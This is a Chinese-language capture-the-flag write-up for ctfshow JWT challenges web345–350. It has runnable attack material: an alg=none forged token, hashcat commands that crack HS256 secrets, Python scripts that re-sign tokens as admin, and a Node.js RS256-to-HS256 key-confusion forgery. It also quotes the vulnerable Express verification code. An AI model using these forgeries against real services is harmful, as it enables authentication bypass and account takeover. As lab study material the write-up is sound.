web345 复现失败,题目改过了,{"sub":"admin"}
也不好使,外面还多了一层中括号。。。
web346 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 $ python .\jwt_tool.py 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6InVzZXIiLCJqdGkiOiJiZWIyNDgxZDA1MzZhZjUxMjBlN2UxNzdmNDU5ZjU4YSJ9.MbQ4es2RnGnDMlzC8kGhUjV2dwEcPEO58Pf_WjYoxtU' \ \ \ \ \ \ \__ | | \ |\__ __| \__ __| | | | \ | | | \ \ | | \ | | | __ \ __ \ | \ | _ | | | | | | | | | | / \ | | | | | | | | \ | / \ | | |\ |\ | | \______/ \__/ \__| \__| \__| \______/ \______/ \__| Version 2.0.2 \______| @ticarpi Original JWT: ===================== Decoded Token Values: ===================== Token header values: [+] alg = "HS256" [+] typ = "JWT" Token payload values: [+] iss = "admin" [+] iat = 1654841796 ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC) [+] exp = 1654848996 ==> TIMESTAMP = 2022-06-10 16:16:36 (UTC) [+] nbf = 1654841796 ==> TIMESTAMP = 2022-06-10 14:16:36 (UTC) [+] sub = "user" [+] jti = "beb2481d0536af5120e7e177f459f58a" Seen timestamps: [*] iat was seen [*] exp is later than iat by: 0 days, 2 hours, 0 mins ---------------------- JWT common timestamps: iat = IssuedAt exp = Expires nbf = NotBefore ----------------------
尝试 none 攻击
1 2 3 4 5 6 eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0 eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MTc5NiwiZXhwIjoxNjU0ODQ4OTk2LCJuYmYiOjE2NTQ4NDE3OTYsInN1YiI6ImFkbWluIiwianRpIjoiYmViMjQ4MWQwNTM2YWY1MTIwZTdlMTc3ZjQ1OWY1OGEifQ.
别忘了结尾的 .
web347 这次改成 none 不行了,hashcat 爆破 secret:
1 2 $ .\hashcat.exe -m 16500 I:\test\ctfshow\web347\jwt.txt -a 3 -w 3 ?d?d?d?d?d?d eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0MzA1MiwiZXhwIjoxNjU0ODUwMjUyLCJuYmYiOjE2NTQ4NDMwNTIsInN1YiI I6InVzZXIiLCJqdGkiOiJjOGUxODFkNjI1NmU3NGNlNDQ4OWMxZmFiMTM0ZmY3NyJ9.Q5ZvANDXJ5uGUmS7HuxzUqBdNy_QO0gUDQHCPqapqr8:123456
于是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import base64import jsonimport jwtjwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg0NjgxNywiZXhwIjoxNjU0ODU0MDE3LCJuYmYiOjE2NTQ4NDY4MTcsInN1YiI6InVzZXIiLCJqdGkiOiI3YjIxMzNiZWQ5OWRjMGQ1MTM3N2YxNDFhYWQyZmVjOSJ9.Gnhw24pqJOTZ23ncvSzJuHHPgys2F2ISCf4_kGmiRtA" secret = "123456" alg = json.loads(base64.b64decode(jwt_origin.split("." )[0 ]))["alg" ] payload = jwt.decode(jwt_origin, secret, algorithms=alg) print ("before: " , payload)payload["sub" ] = "admin" print ("after: " , payload)jwt_payload = jwt.encode(payload, secret, algorithm=alg) print (jwt_payload)
web348 提示和上题一样,hashcat 爆破
1 2 .\hashcat.exe -m 16500 I:\test\ctfshow\web348\jwt.txt -a 3 -w 3 ?b?b?b?b eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI I6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s:aaab
于是
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import base64import jsonimport jwtjwt_origin = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY1NDg1MzIwNywiZXhwIjoxNjU0ODYwNDA3LCJuYmYiOjE2NTQ4NTMyMDcsInN1YiI6InVzZXIiLCJqdGkiOiI3ZGYzZDRmMjIyYTBmMjk5OWI0MTYwNTZjNGUxNzEyOCJ9.6VABqSwnJJhNNF4fH_VrNjqxpsFZvNV_O0YjfzxxO3s" secret = "aaab" alg = json.loads(base64.b64decode(jwt_origin.split("." )[0 ]))["alg" ] payload = jwt.decode(jwt_origin, secret, algorithms=alg) print ("before: " , payload)payload["sub" ] = "admin" print ("after: " , payload)jwt_payload = jwt.encode(payload, secret, algorithm=alg) print (jwt_payload)
web349 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 router.get ('/' , function (req, res, next ) { res.type ('html' ); var privateKey = fs.readFileSync (process.cwd ()+'//public//private.key' ); var token = jwt.sign ({ user : 'user' }, privateKey, { algorithm : 'RS256' }); res.cookie ('auth' ,token); res.end ('where is flag?' ); }); router.post ('/' ,function (req,res,next ){ var flag="flag_here" ; res.type ('html' ); var auth = req.cookies .auth ; var cert = fs.readFileSync (process.cwd ()+'//public/public.key' ); jwt.verify (auth, cert, function (err, decoded ) { if (decoded.user ==='admin' ){ res.end (flag); }else { res.end ('you are not admin' ); } }); });
私钥公钥都放 /public。。。 彳亍 这里用 jwt.decode RS256 遇到了坑,是这样解决的 https://stackoverflow.com/questions/65987293/typeerror-load-pem-private-key-missing-1-required-positional-argument-backe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import base64import jsonimport jwtjwt_origin = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImlhdCI6MTY1NDg1NDAyM30.LoQYsGNplceMfmHPkysbc6ZTdNdpWOxuUpBu1IiyW_CUafDDEIyCxsJjjrOpo7RftkLC6O_kVd95R_E8SLzS7OTtUX-rYE3Z4XRFab-z8mgrPF2x_aE8Cb48WB-TNCrzseUCjcixO55PTN4aJc8S9hQpaZN6ita9QVAWGs_YQsY" with open ("private.key" , "rb" ) as f: private_key = f.read() with open ("public.key" , "rb" ) as f: public_key = f.read() alg = json.loads(base64.b64decode(jwt_origin.split("." )[0 ]))["alg" ] payload = jwt.decode(jwt_origin, public_key, algorithms=alg) print ("before: " , payload)payload["user" ] = "admin" print ("after: " , payload)jwt_payload = jwt.encode(payload, private_key, algorithm=alg) print (jwt_payload)
web350 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 var express = require ('express' );var router = express.Router ();var jwt = require ('jsonwebtoken' );var fs = require ('fs' );router.get ('/' , function (req, res, next ) { res.type ('html' ); var privateKey = fs.readFileSync (process.cwd ()+'//routes/private.key' ); var token = jwt.sign ({ user : 'user' }, privateKey, { algorithm : 'RS256' }); res.cookie ('auth' ,token); res.end ('where is flag?' ); }); router.post ('/' ,function (req,res,next ){ var flag="flag_here" ; res.type ('html' ); var auth = req.cookies .auth ; var cert = fs.readFileSync (process.cwd ()+'//routes/public.key' ); jwt.verify (auth, cert,function (err, decoded ) { if (decoded.user ==='admin' ){ res.end (flag); }else { res.end ('you are not admin' +err); } }); }); module .exports = router;
RS256 => HS256,对称加密公钥当密码,python 写总报错绕过了生成的也不能用,找了个 js 脚本
1 2 3 4 5 const jwt = require ('jsonwebtoken' );var fs = require ('fs' );var privateKey = fs.readFileSync ('public/public.key' );var token = jwt.sign ({ user : 'admin' }, privateKey, { algorithm : 'HS256' });console .log (token)